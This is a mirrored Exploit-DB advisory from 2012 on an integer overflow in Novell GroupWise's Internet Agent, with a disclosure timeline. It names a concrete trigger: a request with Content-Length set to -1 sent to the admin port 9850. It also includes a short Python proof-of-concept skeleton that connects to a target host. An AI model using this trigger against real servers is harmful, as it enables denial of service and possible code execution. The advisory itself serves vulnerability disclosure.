Novell Groupwise 8.0.2 HP3 and 2012 – Integer Overflow

• Exploit Database
• 94 阅读

• 作者： Francis Provencher
  日期： 2012-09-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21326/
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  #####################################################################################   Application: Novell Groupwise   Platforms: Windows Version: 8.0.2 HP3 and 2012   Secunia: SA50622   {PRL}: 2012-28   Author: Francis Provencher (Protek Research Lab&apos;s)   Website: http://www.protekresearchlab.com/   Twitter: @ProtekResearch     #####################################################################################   1) Introduction 2) Report Timeline 3) Technical details 4) The Code     #####################################################################################   =============== 1) Introduction ===============   Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in   enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.   (http://en.wikipedia.org/wiki/Novell)   #####################################################################################   ============================ 2) Report Timeline ============================   2012-02-03Vulnerability reported to Secunia 2012-09-14Publication of this advisory     #####################################################################################   ============================ 3) Technical details ============================ The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe) when copying request data and can be exploited to cause a heap-based buffer overflow by e.g. sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code.     #####################################################################################   =========== 4) The Code ===========   #!/usr/bin/python   import sys,os,socket   if len(sys.argv) < 3: print "Usage: host,port" sys.exit(0)   host=sys.argv[1] port=int(sys.argv[2])   sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)   sock.connect((host,port))   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  print "done!"   sock.close()